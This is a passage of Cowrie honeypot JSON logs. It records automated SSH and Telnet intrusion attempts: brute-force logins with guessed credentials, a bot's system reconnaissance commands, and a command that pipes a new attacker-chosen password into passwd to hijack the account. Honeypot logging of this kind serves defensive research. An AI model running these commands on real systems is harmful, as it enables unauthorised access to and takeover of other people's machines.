":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:35.787853Z","src_ip":"43.157.98.118","session":"4435a6989a4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:36.171628Z","src_ip":"43.157.98.118","session":"4435a6989a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.261212Z","src_ip":"43.157.98.118","session":"4435a6989a4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.401330Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.405010Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.497341Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.710880Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin123\\n9lXOwEwIN2lf\\n9lXOwEwIN2lf\"|passwd|bash","message":"CMD: echo -e \"adminadmin123\\n9lXOwEwIN2lf\\n9lXOwEwIN2lf\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.714411Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.718184Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.721686Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0442e3b54f406d2691222b10a7a0fd73e5e30508634c74d7fb0b99b465a42b3a","size":32,"shasum":"0442e3b54f406d2691222b10a7a0fd73e5e30508634c74d7fb0b99b465a42b3a","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/0442e3b54f406d2691222b10a7a0fd73e5e30508634c74d7fb0b99b465a42b3a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:37.830199Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.065616Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin123\\n9lXOwEwIN2lf\\n9lXOwEwIN2lf\\n\"|passwd","message":"CMD: echo \"adminadmin123\\n9lXOwEwIN2lf\\n9lXOwEwIN2lf\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.069264Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f79e5be23d04c10e6f1f27770bb83aab24b44f85f812b32af000fee4714155de","size":25,"shasum":"f79e5be23d04c10e6f1f27770bb83aab24b44f85f812b32af000fee4714155de","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f79e5be23d04c10e6f1f27770bb83aab24b44f85f812b32af000fee4714155de after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.162205Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.420721Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.424378Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":41628,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5193d2e51fc","protocol":"ssh","message":"New connection: 102.211.152.138:41628 (159.203.135.109:22) [session: d5193d2e51fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.433809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.438538Z","src_ip":"102.211.152.138","session":"d5193d2e51fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.518094Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.541959Z","src_ip":"102.211.152.138","session":"d5193d2e51fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.741660Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.745514Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.838917Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"server","message":"login attempt [dev/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:38.956515Z","src_ip":"102.211.152.138","session":"d5193d2e51fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.091007Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.094351Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.097601Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.191463Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.409869Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.413593Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.506190Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.721819Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.725442Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:39.816495Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.034168Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.037125Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.063164Z","src_ip":"102.211.152.138","session":"d5193d2e51fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.127043Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.343924Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.347695Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.440092Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.660045Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.663476Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.755183Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.969104Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:40.972415Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.063658Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.283979Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.287921Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.379300Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.591043Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.594627Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.686899Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.911611Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:41.915260Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:42.008661Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:42.220671Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:42.224376Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:42.317206Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:42.322524Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36337447166443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:44.198999Z","src_ip":"162.248.7.67","session":"310492562528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00178718566895,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:14.490293Z","src_ip":"182.253.54.171","session":"202911b8fd75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14625,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce74375d7b4e","protocol":"telnet","message":"New connection: 182.253.54.171:14625 (10.17.0.5:23) [session: ce74375d7b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:15.103004Z"}
{"eventid":"cowrie.session.closed","duration":120.00200748443604,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:17.293717Z","src_ip":"182.253.54.171","session":"ef4c14d8188e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0010392665863,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:19.046571Z","src_ip":"182.253.54.171","session":"37e53aeaf518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14000,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca1070630f29","protocol":"telnet","message":"New connection: 182.253.54.171:14000 (10.17.0.5:23) [session: ca1070630f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:20.571554Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14669,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b955d4467b2","protocol":"telnet","message":"New connection: 182.253.54.171:14669 (10.17.0.5:23) [session: 2b955d4467b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:02:24.955553Z"}
